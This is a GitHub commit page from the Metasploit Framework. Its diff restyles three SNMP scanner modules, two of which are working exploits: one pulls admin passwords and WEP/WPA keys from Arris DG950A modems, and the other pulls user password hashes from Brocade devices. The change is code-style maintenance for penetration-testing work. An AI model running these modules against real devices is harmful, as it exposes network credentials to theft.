Skip to content

Commit ec98f0a

Browse files
authored
Land rapid7#20243, resolving Rubocop violations in modules/auxiliary/scanner/snmp
modules/auxiliary/scanner/snmp: Resolve RuboCop violations
2 parents b84936f + e89b103 commit ec98f0a

17 files changed

+2090
-1988
lines changed

modules/auxiliary/scanner/snmp/aix_version.rb

Lines changed: 50 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -3,71 +3,76 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
require 'English'
67
class MetasploitModule < Msf::Auxiliary
78
include Msf::Exploit::Remote::SNMPClient
89
include Msf::Auxiliary::Report
910
include Msf::Auxiliary::Scanner
1011

1112
def initialize
1213
super(
13-
'Name' => 'AIX SNMP Scanner Auxiliary Module',
14-
'Description' => 'AIX SNMP Scanner Auxiliary Module',
15-
'Author' =>
16-
[
17-
'Ramon de C Valle',
18-
'Adriano Lima <adriano[at]risesecurity.org>',
19-
],
20-
'License' => MSF_LICENSE
14+
'Name' => 'AIX SNMP Scanner',
15+
'Description' => 'AIX SNMP scanner auxiliary module.',
16+
'Author' => [
17+
'Ramon de C Valle',
18+
'Adriano Lima <adriano[at]risesecurity.org>',
19+
],
20+
'License' => MSF_LICENSE,
21+
'Notes' => {
22+
'Stability' => [CRASH_SAFE],
23+
'SideEffects' => [],
24+
'Reliability' => []
25+
}
2126
)
22-
2327
end
2428

2529
def run_host(ip)
26-
begin
27-
snmp = connect_snmp
30+
snmp = connect_snmp
2831

29-
value = snmp.get_value('sysDescr.0')
32+
value = snmp.get_value('sysDescr.0')
3033

31-
if value =~ /AIX/
32-
value = value.split("\n")
33-
description = value[0].strip
34-
value = value[2].split(':')
34+
unless value =~ /AIX/
35+
print_error("#{ip} system is not AIX: #{value}")
36+
return
37+
end
3538

36-
value = value[1].strip
37-
value = value.split('.')
39+
value = value.split("\n")
40+
description = value[0].strip
41+
value = value[2].split(':')
3842

39-
value[0] = value[0].to_i
40-
value[1] = value[1].to_i
41-
value[2] = value[2].to_i
42-
value[3] = value[3].to_i
43+
value = value[1].strip
44+
value = value.split('.')
4345

44-
version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}"
46+
value[0] = value[0].to_i
47+
value[1] = value[1].to_i
48+
value[2] = value[2].to_i
49+
value[3] = value[3].to_i
4550

46-
report_note(
47-
:host => ip,
48-
:proto => 'udp',
49-
:sname => 'snmp',
50-
:port => datastore['RPORT'],
51-
:type => 'AIX',
52-
:data => { :version => version }
53-
)
51+
version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}"
5452

55-
status = "#{ip} (#{description}) is running: "
56-
status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} "
57-
status << "(#{version})"
53+
report_note(
54+
host: ip,
55+
proto: 'udp',
56+
sname: 'snmp',
57+
port: datastore['RPORT'],
58+
type: 'AIX',
59+
data: { version: version }
60+
)
5861

59-
print_status(status)
60-
end
62+
status = "#{ip} (#{description}) is running: "
63+
status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} "
64+
status << "(#{version})"
6165

66+
print_status(status)
67+
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
6268
# No need to make noise about timeouts
63-
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
64-
rescue ::Interrupt
65-
raise $!
66-
rescue Exception => e
67-
print_error("#{ip} #{e.class}, #{e.message}")
68-
ensure
69-
disconnect_snmp
70-
end
71-
69+
rescue ::SNMP::UnsupportedVersion => e
70+
vprint_error(e.message)
71+
rescue ::Interrupt
72+
raise $ERROR_INFO
73+
rescue StandardError => e
74+
print_error("#{ip} #{e.class}, #{e.message}")
75+
ensure
76+
disconnect_snmp
7277
end
7378
end

modules/auxiliary/scanner/snmp/arris_dg950.rb

Lines changed: 39 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -10,47 +10,51 @@ class MetasploitModule < Msf::Auxiliary
1010

1111
def initialize
1212
super(
13-
'Name' => 'Arris DG950A Cable Modem Wifi Enumeration',
13+
'Name' => 'Arris DG950A Cable Modem Wifi Enumeration',
1414
'Description' => %q{
1515
This module will extract WEP keys and WPA preshared keys from
1616
Arris DG950A cable modems.
1717
},
18-
'References' =>
19-
[
20-
['CVE','2014-4863'],
21-
['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/']
22-
],
23-
'Author' => ['Deral "Percent_X" Heiland'],
24-
'License' => MSF_LICENSE
18+
'References' => [
19+
['CVE', '2014-4863'],
20+
['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/']
21+
],
22+
'Author' => ['Deral "Percent_X" Heiland'],
23+
'License' => MSF_LICENSE,
24+
'Notes' => {
25+
'Stability' => [CRASH_SAFE],
26+
'SideEffects' => [],
27+
'Reliability' => []
28+
}
2529
)
2630
end
2731

2832
def run_host(ip)
2933
snmp = connect_snmp
3034

31-
if snmp.get_value('sysDescr.0') =~ /DG950A/
32-
print_line("#{ip}")
33-
34-
# System Admin Password
35-
wifi_info = ''
36-
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
37-
print_line("Password: #{password}")
38-
wifi_info << "Password: #{password}" << "\n"
39-
else
40-
fail_with(Failure::NoTarget, "Does not appear to be an Arris DG950A")
35+
unless snmp.get_value('sysDescr.0') =~ /DG950A/
36+
fail_with(Failure::NoTarget, 'Does not appear to be an Arris DG950A')
4137
end
4238

39+
print_line(ip.to_s)
40+
41+
# System Admin Password
42+
wifi_info = ''
43+
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
44+
print_line("Password: #{password}")
45+
wifi_info << "Password: #{password}" << "\n"
46+
4347
# check WPA Encryption Algorithm
4448
encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
4549
case encrypt_type
4650
when 1
47-
wpa_encrypt = "TKIP"
51+
wpa_encrypt = 'TKIP'
4852
when 2
49-
wpa_encrypt = "AES"
53+
wpa_encrypt = 'AES'
5054
when 3
51-
wpa_encrypt = "TKIP/AES"
55+
wpa_encrypt = 'TKIP/AES'
5256
else
53-
wpa_encrypt = "Unknown"
57+
wpa_encrypt = 'Unknown'
5458
end
5559

5660
# Wifi Status
@@ -71,26 +75,26 @@ def run_host(ip)
7175
wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
7276
case wep_type
7377
when 1
74-
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12"
78+
oid = '1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12'
7579
when 2
76-
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12"
80+
oid = '1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12'
7781
else
7882
print_line('FAILED')
7983
end
8084
wepkey1 = snmp.get_value("#{oid}.1")
81-
key1 = "#{wepkey1}"
85+
key1 = wepkey1.to_s
8286
print_line("WEP KEY1: #{key1}")
8387
wifi_info << "WEP KEY1: #{key1}" << "\n"
8488
wepkey2 = snmp.get_value("#{oid}.2")
85-
key2 = "#{wepkey2}"
89+
key2 = wepkey2.to_s
8690
print_line("WEP KEY2: #{key2}")
8791
wifi_info << "WEP KEY2: #{key2}" << "\n"
8892
wepkey3 = snmp.get_value("#{oid}.3")
89-
key3 = "#{wepkey3}"
93+
key3 = wepkey3.to_s
9094
print_line("WEP KEY3: #{key3}")
9195
wifi_info << "WEP KEY3: #{key3}" << "\n"
9296
wepkey4 = snmp.get_value("#{oid}.4")
93-
key4 = "#{wepkey4}"
97+
key4 = wepkey4.to_s
9498
print_line("WEP KEY4: #{key4}")
9599
wifi_info << "WEP KEY4: #{key4}" << "\n"
96100

@@ -122,21 +126,21 @@ def run_host(ip)
122126
print_line('FAILED')
123127
end
124128
else
125-
print_line('WIFI is not enabled')
129+
print_line('WiFi is not enabled')
126130
end
127131

128132
# Woot we got loot.
129-
loot_name = 'arris_wifi'
130-
loot_type = 'text/plain'
133+
loot_name = 'arris_wifi'
134+
loot_type = 'text/plain'
131135
loot_filename = 'arris_wifi.text'
132-
loot_desc = 'Arris DG950A Wifi configuration data'
136+
loot_desc = 'Arris DG950A WiFi configuration data'
133137
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
134138
print_good("WiFi Data saved in: #{p}")
135-
# No need to make noise
136-
rescue ::SNMP::UnsupportedVersion
139+
rescue ::SNMP::UnsupportedVersion => e
140+
vprint_error(e.message)
137141
rescue ::SNMP::RequestTimeout
138142
raise $ERROR_INFO
139-
rescue ::Exception => e
143+
rescue StandardError => e
140144
print_error("#{ip} error: #{e.class} #{e.message}")
141145
disconnect_snmp
142146
end

modules/auxiliary/scanner/snmp/brocade_enumhash.rb

Lines changed: 55 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -3,69 +3,82 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
require 'English'
67
class MetasploitModule < Msf::Auxiliary
78
include Msf::Exploit::Remote::SNMPClient
89
include Msf::Auxiliary::Report
910
include Msf::Auxiliary::Scanner
1011

1112
def initialize
1213
super(
13-
'Name' => 'Brocade Password Hash Enumeration',
14+
'Name' => 'Brocade Password Hash Enumeration',
1415
'Description' => %q{
1516
This module extracts password hashes from certain Brocade load
1617
balancer devices.
1718
},
18-
'References' =>
19-
[
20-
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
21-
],
22-
'Author' => ['Deral "PercentX" Heiland'],
23-
'License' => MSF_LICENSE
19+
'References' => [
20+
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
21+
],
22+
'Author' => ['Deral "PercentX" Heiland'],
23+
'License' => MSF_LICENSE,
24+
'Notes' => {
25+
'Stability' => [CRASH_SAFE],
26+
'SideEffects' => [],
27+
'Reliability' => []
28+
}
2429
)
25-
2630
end
2731

2832
def run_host(ip)
29-
begin
30-
snmp = connect_snmp
31-
32-
if snmp.get_value('sysDescr.0') =~ /Brocade/
33+
snmp = connect_snmp
3334

34-
@users = []
35-
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.1") do |row|
36-
row.each { |val| @users << val.value.to_s }
37-
end
35+
value = snmp.get_value('sysDescr.0')
3836

39-
@hashes = []
40-
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.2") do |row|
41-
row.each { |val| @hashes << val.value.to_s }
42-
end
37+
unless value =~ /Brocade/
38+
print_error("#{ip} - System is not Brocade: #{value}")
39+
return
40+
end
4341

44-
print_good("#{ip} - Found user and password hashes:")
45-
end
42+
@users = []
43+
snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.1') do |row|
44+
row.each { |val| @users << val.value.to_s }
45+
end
4646

47-
credinfo = ""
48-
@users.each_index do |i|
49-
credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"
50-
print_good("#{@users[i]}:#{@hashes[i]}")
51-
end
47+
@hashes = []
48+
snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.2') do |row|
49+
row.each { |val| @hashes << val.value.to_s }
50+
end
5251

52+
print_good("#{ip} - Found user and password hashes:")
5353

54-
#Woot we got loot.
55-
loot_name = "brocade.hashes"
56-
loot_type = "text/plain"
57-
loot_filename = "brocade_hashes.txt"
58-
loot_desc = "Brodace username and password hashes"
59-
p = store_loot(loot_name, loot_type, datastore['RHOST'], credinfo , loot_filename, loot_desc)
54+
credinfo = ''
55+
@users.each_index do |i|
56+
credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"
57+
print_good("#{@users[i]}:#{@hashes[i]}")
58+
end
6059

61-
print_status("Credentials saved: #{p}")
62-
rescue ::SNMP::UnsupportedVersion
63-
rescue ::SNMP::RequestTimeout
64-
rescue ::Interrupt
65-
raise $!
66-
rescue ::Exception => e
67-
print_error("#{ip} - Error: #{e.class} #{e}")
68-
disconnect_snmp
69-
end
60+
# Woot we got loot.
61+
loot_name = 'brocade.hashes'
62+
loot_type = 'text/plain'
63+
loot_filename = 'brocade_hashes.txt'
64+
loot_desc = 'Brocade username and password hashes'
65+
p = store_loot(
66+
loot_name,
67+
loot_type,
68+
datastore['RHOST'],
69+
credinfo,
70+
loot_filename,
71+
loot_desc
72+
)
73+
print_status("Credentials saved: #{p}")
74+
rescue ::SNMP::UnsupportedVersion => e
75+
vprint_error("#{ip} - #{e.message}")
76+
rescue ::SNMP::RequestTimeout => e
77+
vprint_error("#{ip} - #{e.message}")
78+
rescue ::Interrupt
79+
raise $ERROR_INFO
80+
rescue StandardError => e
81+
print_error("#{ip} - Error: #{e.class} #{e}")
82+
disconnect_snmp
7083
end
7184
end

0 commit comments

Comments
 (0)